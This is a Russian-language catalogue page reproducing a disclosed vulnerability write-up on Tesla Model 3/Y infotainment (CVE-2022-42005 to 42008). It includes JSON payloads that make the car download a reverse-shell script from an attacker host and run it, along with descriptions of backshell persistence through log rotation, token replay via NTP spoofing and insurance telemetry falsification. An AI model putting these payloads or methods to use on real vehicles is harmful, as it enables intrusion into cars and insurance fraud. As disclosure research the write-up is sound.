Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
tesla-security-research — Исследование уязвимостей информационно-развлекательных систем Tesla Model 3/Y. 6 уязвимостей, 4 CVE (CVE-2022-42005 – CVE-2022-42008). Root shell, постоянный доступ, спуфинг телеметрии страховых компаний. | Kitploit
Инструменты/GitHubGitHub/analyticeth
/
tesla-security-research
Безопасность встроенных системПовышение привилегийМеханизмы персистентностиАнализ уязвимостейЭксплуатацияЭксфильтрация данныхТестирование на ПроникновениеКомандование и УправлениеБезопасность оборудования и IoTОбучение и Образование
GitHubanalyticeth/tesla-security-research

tesla-security-research

Исследование уязвимостей информационно-развлекательных систем Tesla Model 3/Y. 6 уязвимостей, 4 CVE (CVE-2022-42005 – CVE-2022-42008). Root shell, постоянный доступ, спуфинг телеметрии страховых компаний.

Репозиторий
52 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Исследование безопасности Tesla

Исследование уязвимостей информационно-развлекательной системы Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), ответственно раскрытое компании Tesla через Bugcrowd.

Получен постоянный root-доступ на серийном Tesla Model 3 через уязвимость внедрения команд в диагностическом интерфейсе ODIN (CVE-2022-42008). Оттуда обнаружены пять дополнительных уязвимостей — включая метод сохранения доступа, переживающий обновления прошивки (CVE-2022-42005, CVE-2022-42006), и метод подмены телеметрии страхового рейтинга Safety Score, который напрямую снизил ежемесячные страховые взносы с $130 до $83.

Шесть уязвимостей в ODIN, hermes и Safety Score. Четыре CVE. Вознаграждены через Bugcrowd и включены в программу SSH Security Researcher компании Tesla.

Сводка уязвимостей

НаходкаCVEВлияниеСтатусВознаграждение
Корневой Shell через ODINCVE-2022-42008Корневой Shell через внедрение командИсправлено (2021.32.10)Вознаграждение Bugcrowd
Просроченные токены ODINCVE-2022-42007Повтор токена через NTP-спуфингИсправлено (2021.32.10)Вознаграждение Bugcrowd
Загрузка на Mothership—Произвольная загрузка файлов на серверы TeslaОтмечено как N/A—
Лог-бэкшелл + доступ к DVCVE-2022-42005, CVE-2022-42006Постоянный доступ, переживающий обновления прошивкиИсправленоВознаграждение Bugcrowd
Подмена телеметрии страховки—Поддельный Safety Score снижает страховые взносыИсправление не подтверждено—
Unfuse ODIN—Любая задача ODIN без аутентификацииИсправление не подтверждено—

Архитектура

Информационно-развлекательная система Tesla Model 3/Y (Intel Atom MCU) работает под управлением ОС на базе Linux с несколькими поверхностями атаки, выявленными в ходе этого исследования:

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

Получение root-доступа и сохранение доступа

Полные отчёты: Корневой Shell через ODIN | Лог-бэкшелл + доступ к DV

Диагностический интерфейс ODIN предоставляет задачу TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK, которая принимает параметр MicTest-Input — список строк, передаваемый напрямую в CID_EXEC для выполнения от имени root. Любой подписчик с минимальным уровнем доступа Toolbox (tbx-external) может запустить эту задачу, подключившись к диагностическому порту автомобиля и отправив POST-запрос. Входные строки выполняются буквально, поэтому атака состоит из двух запросов: сначала загрузите скрипт обратного шелла в автомобиль через curl:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Затем выполните его:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

После установки root-шелла постоянный доступ достигается путём перехвата конфигурации ротации логов svlogd. Стандартная команда сжатия gzip заменяется скриптом, который при каждой ротации логов открывает бэкшелл от имени учётной записи log:

root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c

Файл конфигурации делается неизменяемым с помощью chattr +i, что гарантирует его сохранение при обновлениях прошивки. Хотя учётная запись log не может использовать стандартную команду sdv для установки значений данных (dbus отклоняет её), дремлющий prototype_server Tesla предоставляет неограниченный websocket-доступ ко всем значениям данных при включении через settings.conf. Пользовательский набор shell-скриптов (sdv, lv, send.sh) эмулирует websocket-клиент для взаимодействия с этим сервером.

Полный набор инструментов для постоянного доступа управляется через поле ввода Access Code в автомобиле (видимое при длительном нажатии на модель автомобиля на сенсорном экране), которое отслеживается скриптом-слушателем, отправляющим команды — включая открытие бэкшеллов, установку значений данных и переключение сервисных режимов.

Независимые находки

Просроченные токены ODIN + NTP-спуфинг (CVE-2022-42007)

Конечная точка генерации токенов ODIN от Tesla принимает просроченные tbx-token и — что критично — также возвращает tbx-token пользователя в ответе, что позволяет утекать токенам через обмен. Просроченные токены ODIN обычно отклоняются автомобилем, но, подделав источник NTP-времени автомобиля с помощью ARP-перехвата (ntpspoof.py), можно обмануть автомобиль, заставив его принять токены с истекшим сроком действия. Шлюз обнаруживает манипуляции с NTP (GTW_w149_rtcTimeSetInPast), но не реагирует на этот сигнал.

Загрузка на Mothership

Используя сертификаты автомобиля из /var/lib/car_creds/, можно запустить службу hermes_proxy на локальной машине, что даёт прямой доступ к серверу Mothership Tesla. Конечная точка резервного копирования профиля (/vehicles/${VIN}/computer_profile) принимает произвольные загрузки файлов без проверки — одна команда curl загружает любой файл в производственную инфраструктуру Tesla. Tesla отметила эту находку как N/A («работает как задумано»).

Подмена телеметрии страховки

Система Safety Score от Tesla собирает телеметрию вождения с MCU и загружает её на Mothership для расчёта страховых взносов. Имея root-доступ, можно захватить образец телеметрии с идеальным рейтингом, раздуть его значения одометра в protobuf-кодировке с помощью hex-редактирования (используя обратно разработанную схему telemetry.proto) и повторно загрузить изменённые образцы. Две сфабрикованные поездки были приняты Mothership — одна показывала ~2700 миль за 3.5 часа — что напрямую снизило ежемесячные страховые взносы с $130 до $83. Основная проблема в том, что телеметрия исходит из MCU (доступного пользователю), а не из блока APE3 (защищённого). Tesla не выплатила вознаграждение за эту находку.

Обход аутентификации ODIN

Имея root-доступ, можно подмонтировать поддельный скрипт is-fused поверх /usr/bin/is-fused и перезапустить службы ODIN, что заставит ODIN считать, что устройство находится в заводском/разработочном режиме. В этом состоянии любая задача ODIN может быть выполнена без токенов аутентификации — включая задачи, которые могут отключить автомобильную сигнализацию (PROC_ICE_X_SET-DATA-VALUE), стереть VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID) или потенциально задействовать критически важные для безопасности функции автомобиля.

Инструменты

ИнструментОписание
ntpspoof.pyNTP-спуфинг на основе ARP для повторного использования просроченных токенов ODIN (Python/scapy)
telemetry.protoОбратно разработанная protobuf-схема для телеметрии Safety Score от Tesla (34 поля)
listen.shСлушатель команд из поля Access Code — скрытый интерфейс команд через сенсорный экран
sdvУстановить значение данных через websocket prototype_server
lvПолучить значение данных через websocket prototype_server
send.shПостроение websocket-фрейма для связи с prototype_server

Отказ от ответственности

Это исследование было проведено в рамках ответственного исследования безопасности и сообщено в программу Bug Bounty компании Tesla через Bugcrowd. Все уязвимости с присвоенными CVE исправлены в текущих версиях прошивки. Этот репозиторий опубликован только в образовательных целях.

В результате этого исследования команда получила денежные вознаграждения через Bugcrowd и была включена в программу SSH Security Researcher компании Tesla, получив подписанные SSH-сертификаты для дальнейшего доступа к исследованиям.

Ссылки

  • CVE-2022-42008 — Корневой Shell через ODIN
  • CVE-2022-42007 — Просроченные токены ODIN
  • CVE-2022-42006 — Доступ к значениям данных через Prototype Server
  • CVE-2022-42005 — Постоянный лог-шелл
  • Взлом Tesla: Часть 1 — Получение root-доступа на Tesla Model 3
  • Взлом Tesla: Часть 2 — Подмена телеметрии страховки Tesla
  • Tesla Security

Исследователи

  • Matthew C. Pilsbury
  • Alex Harbuzenko
  • Oleg Kutkov
  • Tristan Rice

Исследование проведено от имени SourceHat Labs Inc.

Скачать инструмент